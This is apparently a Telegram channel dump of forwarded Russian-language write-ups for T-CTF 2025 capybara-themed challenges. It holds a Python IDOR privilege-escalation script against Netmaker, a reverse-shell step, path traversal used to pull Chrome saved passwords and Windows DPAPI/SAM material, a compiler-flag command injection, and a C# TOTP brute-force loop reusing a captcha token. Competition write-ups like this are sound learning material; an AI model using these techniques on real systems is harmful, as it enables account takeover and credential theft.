Forwarded from Dmitriy
TCTF 2025.zip
9.5 MB
> Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку
поделюсь архивом из obsidian (10 задач)
поделюсь архивом из obsidian (10 задач)
⚡3
Forwarded from Dmitriy
Капибады
Капибаза
Капибарса
Капибегущая строка
Капиблеф
Капибокс
Капибонд
Капиботы
Капибьюти
Капипаркинг
Капибаза
Капибарса
Капибегущая строка
Капиблеф
Капибокс
Капибонд
Капиботы
Капибьюти
Капипаркинг
⚡1
Forwarded from Nik
#Капирайт
1. Достаем IP откуда скачивается видео у
2. Затем nmap'ом сканим найденный IP.
3. Там открытый порт, на котором веб-страница для создания read-only пользователя в netmaker
4. Переходим по приложенной ссылке на панель netmaker'а.
5. Гуглим CVE по версии netmaker, находи IDOR, да приложенных сплоитов нет, но в гите можно было найти что изменилось.
Вот пример сплоита, который можно было написать:
6. Перезаходим в панель, чтобы обновить куку. Вуаля и мы админ.
7. Создаем клиент для подключения по wg во внутрянку.
8. Там сканим уже существующего клиента, находим у него порт 8888, т.е. jupyter notebook
9. Прокидываем себе реверс шелл и из домашней папки скачиваем файл с изображением флага
1. Достаем IP откуда скачивается видео у
[TCC].Capybarello.Cocosini.2025.Ita.CAMRip.x264.mkv.torrent
2. Затем nmap'ом сканим найденный IP.
3. Там открытый порт, на котором веб-страница для создания read-only пользователя в netmaker
4. Переходим по приложенной ссылке на панель netmaker'а.
5. Гуглим CVE по версии netmaker, находи IDOR, да приложенных сплоитов нет, но в гите можно было найти что изменилось.
Вот пример сплоита, который можно было написать:
import requests
import json
USERNAME = "kapipapi"
PASSWORD = "Kapipapi123!"
TARGET_URL = f"https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/{USERNAME}"
AUTH_URL = "https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/adm/authenticate"
OAUTH_TOKEN = ""
response = requests.post(AUTH_URL, json={"username": USERNAME, "password": PASSWORD})
OAUTH_TOKEN = response.json()["Response"]["AuthToken"]
headers_escalate = {
"Authorization": f"Bearer {OAUTH_TOKEN}",
"Content-Type": "application/json"
}
payload_escalate = {
"username": USERNAME,
"password": PASSWORD,
"isadmin": True
}
# Send PUT request
response = requests.put(
TARGET_URL,
headers=headers_escalate,
data=json.dumps(payload_escalate)
)
# Check response
if response.status_code == 200:
print("[+] Success! Admin privileges granted.")
print("Response:", response.json())
else:
print("[-] Exploit failed.")
print(f"Status Code: {response.status_code}")
print("Response:", response.text)
6. Перезаходим в панель, чтобы обновить куку. Вуаля и мы админ.
7. Создаем клиент для подключения по wg во внутрянку.
8. Там сканим уже существующего клиента, находим у него порт 8888, т.е. jupyter notebook
9. Прокидываем себе реверс шелл и из домашней папки скачиваем файл с изображением флага
🤯5⚡2
Forwarded from hazyfossa
#капибариста
1) Правила использования лежат на файлосервере, заменяем путь в url на /
2) В ./app удобно лежит исходник файлосервера, выясняем, что единственную проверку на побег из папки можно обойти путём вида /././../, что приведёт нас к реальному руту
3) Строка вида get('path', '').replace('//', '/') в исходниках намекает на винду, да и просто путём перебора папок в руте можно найти примонтированный диск C
4) В /mnt/c/Users находим пользователя capybarman, у которого из AppData для chrome находим сохранённые пароли (SQLite база) и encryption_key
5) Encryption_key сам зашифрован через Windows DPAPI, благо у нас есть неограниченный доступ к диску, вытаскиваем SAM, SECURITY и SYSTEM из Windows/config, Protect из ~/AppData/Roaming/Microsoft/Windows
6) Расшифровываем encryption_key, например через DataProtectionDecryptor от nirsoft или ручками
7) Расшифровываем ключом сохранённый в хроме пароль, вводим, получаем флаг
1) Правила использования лежат на файлосервере, заменяем путь в url на /
2) В ./app удобно лежит исходник файлосервера, выясняем, что единственную проверку на побег из папки можно обойти путём вида /././../, что приведёт нас к реальному руту
3) Строка вида get('path', '').replace('//', '/') в исходниках намекает на винду, да и просто путём перебора папок в руте можно найти примонтированный диск C
4) В /mnt/c/Users находим пользователя capybarman, у которого из AppData для chrome находим сохранённые пароли (SQLite база) и encryption_key
5) Encryption_key сам зашифрован через Windows DPAPI, благо у нас есть неограниченный доступ к диску, вытаскиваем SAM, SECURITY и SYSTEM из Windows/config, Protect из ~/AppData/Roaming/Microsoft/Windows
6) Расшифровываем encryption_key, например через DataProtectionDecryptor от nirsoft или ручками
7) Расшифровываем ключом сохранённый в хроме пароль, вводим, получаем флаг
⚡5
Forwarded from Its Ok!
-D'main()=main(){system("cat new_secret.txt"); return 0;} int real_main()' -include stdio.h
🔥6⚡1
Forwarded from Its Ok!
⚡1
Forwarded from Борис Бескровный
#капибайкер
в исходниках комментируем перезапись pyc, чтобы наши модификации не перезатирались при запуске
открываем pyc в текстовом редакторе, видим поле, догадываемся, что ^<>V это изменение направления при достижении стены, f - финиш, # стены и проходы - пробелы, конструируем себе поле
запускаем игру и получаем флаг
в исходниках комментируем перезапись pyc, чтобы наши модификации не перезатирались при запуске
открываем pyc в текстовом редакторе, видим поле, догадываемся, что ^<>V это изменение направления при достижении стены, f - финиш, # стены и проходы - пробелы, конструируем себе поле
запускаем игру и получаем флаг
⚡2
Forwarded from Борис Бескровный
#капиботы
кажется, тут что-то ещё есть внизу?
идём в свойства рисунка и правда! нам показали не весь рисунок. меняем параметры обрезки и идём сдавать флаг
кажется, тут что-то ещё есть внизу?
идём в свойства рисунка и правда! нам показали не весь рисунок. меняем параметры обрезки и идём сдавать флаг
⚡2💯1
Forwarded from Борис Бескровный
#капибьюти
начинаем сверху, да-да, карточки под буквами "САЛОН КАПИБЬЮТИ СПА" обозначают эти буквы, идём вниз и разгадываем, что было в купоне.
начинаем сверху, да-да, карточки под буквами "САЛОН КАПИБЬЮТИ СПА" обозначают эти буквы, идём вниз и разгадываем, что было в купоне.
💯3⚡1
Forwarded from Борис Бескровный
#капибоксер
в инструментах разработчика находим обфусцированный код
воспользуемся деобфускатором https://obf-io.deobfuscate.io/, чтобы получить более-менее читабельный код
выполнив его в консоли браузера обнаружим, что это массив 53х53 из нулей и единиц
любым удобным способом попробуем получить из них картинку, которая при масшабировании становится qr-кодом
в инструментах разработчика находим обфусцированный код
воспользуемся деобфускатором https://obf-io.deobfuscate.io/, чтобы получить более-менее читабельный код
выполнив его в консоли браузера обнаружим, что это массив 53х53 из нулей и единиц
любым удобным способом попробуем получить из них картинку, которая при масшабировании становится qr-кодом
⚡4👍2👎1💯1
Forwarded from 𝔏𝔢𝔬𝔫𝔦𝔡 𝔇𝔯𝔲𝔤𝔬𝔳
Привет!
#Капирнетика
1) находим ссылку на телеграм (там пароль от testadmin)
2) Замечаем что капчу можно использовать несколько раз в хедерах через бурп
3) перебором подбираем 2фа
#Капирнетика
1) находим ссылку на телеграм (там пароль от testadmin)
2) Замечаем что капчу можно использовать несколько раз в хедерах через бурп
3) перебором подбираем 2фа
using RestSharp;
var client = new RestClient("https://t-capyrnetics-d2dra09u.spbctf.org");
int totp;
for (totp = 456; totp <= 9999; totp++)
{
Console.WriteLine($"{totp:0000}");
var loginReq = new RestRequest("/login", Method.Post);
loginReq.AddHeader("Content-Type", "application/x-www-form-urlencoded");
loginReq.AddHeader("Cookie","__cfduid=8269e6ad7729f954eff40e7a1ed636ab; verification=dmVyaWZ5OjE3NDE1NDM4MjA0MTgxMzMxMzd8MTc0NTIzNzk4NS40NkNHRVd1bkRMU0R5d3NESkRqVjJPUi1mLVU2ajZjRk1ySHdsemRRZ1RVPQ==");
loginReq.AddBody($"username=testadmin&step=2&totp={totp:0000}&g-recaptcha-response=03AFcWeA4g6Dix1Cuk1UwyGGKbLDS8MfHjAPue3b6RNQHUF3Q9I5f6V7X2x9KmmMm_qyYrZ5EsofDNsXNyTZaQpY-d7yct2uPj-sXpkQGEw6lf9GhtU8-u-X844Dyb7YOvGBTXHzqX0huRZUIAgkXevcrHnEWQ7UyOMJphWn6tVBtezspXO48RT9dH6YNv1uhvhanjMpooO5WKGrlxD6s45_lw_iqCQXqqRTSMrWwhTHbuiRxC704RAKTWMrO3sQTt4LlZtmrRImZbx4WN5D7_Wid6RWbMWwqaxW-2FTDhW2x4HjxzXeVgUBktJlVtwaI_fUZV2IZREP2ky4GPmCYp3T24JBJpOvx4nB2pKVS4ml9zgooEhD9uk-b3XWo-DsUXRw6zNVySViz8E7VcYCuwHFPRTDOKge2VlISc-CE6DIuh4Fav0xVK3XOLoZL3zULL-ob5CLJwKqkMUx5-KZOC-XuclyjEh9OkzlMyUQOKJc_Lg_xNh9aabZn3s-SRL2LZDquCQZ1SG8syr-KVOXWDOZs72uDW2Kt03goclyiwOG2pc51XNpbEhun8FFocZjWtChvcqzO6SBF6dCgMuHop8GKYtuGTT2y87b2-1ulJpfmeX0MC3OWYz9OpFLt4PaIkkwtJ9tL6Q7ySII1b5bF-7E5is_M7z2UPVYsIAzTHiFB5UBDvT6HEOLwedPEQZoIVTupSCyvJgzDSH278Ue7B6hFOanQ-f8sEh1ptQa_4DP6PlTAGm4yQ-KOiGc5y1-MuFuQygIzg-CBpcyblcj12QAdE3ffd3kAdkSTIivNXH_iEHa_xv_B46FY3D_UBETttubDFOWAle7Rr0FtaapEQ3hHFPV-xS9KipVy2wziqOnqi_Yvfw3H4jDC-u_lcZ05dSWTFXstBzkj5D1yoj_fkpLJC5TpIqS5_q9iLAqs805QospSg91YCHe79VrSAyBLxpni20p3ONTle9GcFJC7xuT71-7iIFyvrzA");
var resp = await client.ExecuteAsync(loginReq);
if (!resp.Content.Contains("Неправильный код"))
{
break;
}
}
Console.WriteLine(totp);⚡2🤯1